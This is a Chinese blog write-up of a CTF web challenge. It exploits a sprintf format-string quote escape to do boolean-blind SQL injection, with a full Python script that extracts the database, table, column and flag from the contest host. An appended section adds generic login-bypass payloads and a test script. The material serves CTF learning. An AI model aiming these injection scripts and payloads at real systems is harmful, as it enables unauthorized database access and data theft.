CTF-“迎圣诞,拿大奖”活动赛题SQLi

本文通过一个具体的案例,详细解析了如何利用SQL注入漏洞获取数据库信息,并最终找到flag的过程。涉及了sprintf格式化字符串注入隐患及盲注技巧。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

分值:200分 类型:Web题目名称:SQLi
题目内容:find the flag.


解题步骤

  1. 进入链接,发现是个登录页面,没有注册的地方,填入admin&admin,提示password error!
  2. 分析报文,无异常
  3. intruder一遍,发现username是admin%时报错
    image.png
  4. 显然是sprintf的格式化问题导致单引号逃逸
  5. 尝试各种字符串后,postdata为 username=admin%1$\\' or 1=1 # &password=admin显示password error! . username=admin%1$\\' or 1=2 # &password=admin显示username error! ,显然注入点就是这里了.
  6. 用脚本跑出flag

代码:

#coding:utf-8

import requests
import string

def boom():
    url = r'http://af6add5b19fe4fddad8a5d5e413129df464f7ee5ce6d4a89.game.ichunqiu.com/index.php'
    s = requests.session()
    dic = string.digits + string.letters + "!@#$%^&*()_+{}-="
    right = 'password error!'
    error = 'username error!'

    lens = 0
    i = 0
    while True:
        payload = "admin%1$\\' or " + "length(database())>" + str(i) + "#"
        data={'username':payload,'password':1}
        r = s.post(url,data=data).content
        if error in r:
            lens=i
            break
        i+=1
        pass
    print("[+]length(database()): %d" %(lens))

    strs=''
    for i in range(lens+1):
        for c in dic:
            payload = "admin%1$\\' or " + "ascii(substr(database()," + str(i) +",1))=" + str(ord(c)) + "#"
            data = {'username':payload,'password':1}
            r = s.post(url,data=data).content
            if right in r:
                strs = strs + c
                print strs
                break
        pass
    pass
    print("[+]database():%s" %(strs))

    lens=0
    i = 1
    while True:
        payload = "admin%1$\\' or " + "(select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)>" + str(i) + "#"
        data = {'username':payload,'password':1}
        r = s.post(url,data=data).content
        if error in r:
            lens = i
            break
        i+=1
        pass
    print("[+]length(table): %d" %(lens))

    strs=''
    for i in range(lens+1):
        for c in dic:
            payload = "admin%1$\\' or " + "ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1)," + str(i) +",1))=" + str(ord(c)) + "#"
            data = {'username':payload,'password':1}
            r = s.post(url,data=data).content
            if right in r:
                strs = strs + c
                print strs
                break
        pass
    pass
    print("[+]table_name:%s" %(strs))
    tablename = '0x' + strs.encode('hex')
    table_name = strs

    lens=0
    i = 0
    while True:
        payload = "admin%1$\\' or " + "(select length(column_name) from information_schema.columns where table_name = " + str(tablename) + " limit 0,1)>" + str(i) + "#"
        data = {'username':payload,'password':1}
        r = s.post(url,data=data).content
        if error in r:
            lens = i
            break
        i+=1
        pass
    print("[+]length(column): %d" %(lens))

    strs=''
    for i in range(lens+1):
        for c in dic:
            payload = "admin%1$\\' or " + "ascii(substr((select column_name from information_schema.columns where table_name = " + str(tablename) +" limit 0,1)," + str(i) + ",1))=" + str(ord(c)) + "#"
            data = {'username':payload,'password':1}
            r = s.post(url,data=data).content
            if right in r:
                strs = strs + c
                print strs
                break
        pass
    pass
    print("[+]column_name:%s" %(strs))
    column_name = strs

    num=0
    i = 0
    while True:
        payload = "admin%1$\\' or " + "(select count(*) from " + table_name + ")>" + str(i) + "#"
        data = {'username':payload,'password':1}
        r = s.post(url,data=data).content
        if error in r:
            num = i
            break
        i+=1
        pass
    print("[+]number(column): %d" %(num))

    lens=0
    i = 0
    while True:
        payload = "admin%1$\\' or " + "(select length(" + column_name + ") from " + table_name + " limit 0,1)>" + str(i) + "#"
        data = {'username':payload,'password':1}
        r = s.post(url,data=data).content
        if error in r:
            lens = i
            break
        i+=1
        pass
    print("[+]length(value): %d" %(lens))

    i=1    
    strs=''
    for i in range(lens+1):
        for c in dic:
            payload = "admin%1$\\' or ascii(substr((select flag from flag limit 0,1)," + str(i) + ",1))=" + str(ord(c)) + "#"
            data = {'username':payload,'password':'1'}
            r = s.post(url,data=data).content
            if right in r:
                strs = strs + c
                print strs
                break
        pass
    pass
    print("[+]flag:%s" %(strs))

if __name__ == '__main__':
    boom()
    print 'Finish!'

知识点

### CTF SQL Injection Challenge "my-first-sqli": Walkthrough and Solution In the context of Capture The Flag (CTF) competitions, challenges like 'my-first-sqli' provide an opportunity to explore vulnerabilities within web applications through a controlled environment[^1]. This particular challenge focuses on exploiting Structured Query Language (SQL) injection flaws. The objective is typically to bypass authentication mechanisms by manipulating input fields that are not properly sanitized. For instance, consider a login form where users enter their username and password: ```html <form action="login.php" method="POST"> Username: <input type="text" name="username"><br> Password: <input type="password" name="password"><br> <input type="submit" value="Login"> </form> ``` A common approach involves injecting malicious code into these forms. An example payload might look as follows when targeting the `username` field with `' OR '1'='1` which always evaluates true regardless of what exists in the database table for usernames[^2]: #### Exploitation Process To exploit this vulnerability effectively while adhering to ethical guidelines set forth during such events, one would proceed cautiously using tools designed specifically for testing purposes only. Here’s how it could be done programmatically without causing harm or violating rules: ```python import requests url = "http://example.com/login" payloads = ["admin' --", "' OR '1'='1"] for p in payloads: response = requests.post(url, data={'username':p,'password':'anything'}) if "Welcome admin!" in response.text: print(f"[+] Successful exploitation with payload {p}") break else: print("[-] Failed to find working payload.") ``` This script sends POST requests containing crafted inputs aimed at uncovering potential weaknesses related to improper handling of user-supplied information before processing queries against backend databases[^3]. --related questions-- 1. What other types of attacks can occur due to poor validation practices? 2. How do modern frameworks prevent SQL injections from happening? 3. Are there any legal implications associated with participating in CTF exercises involving real-world targets? 4. Can you explain more about different methods used in securing web applications against various attack vectors?
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值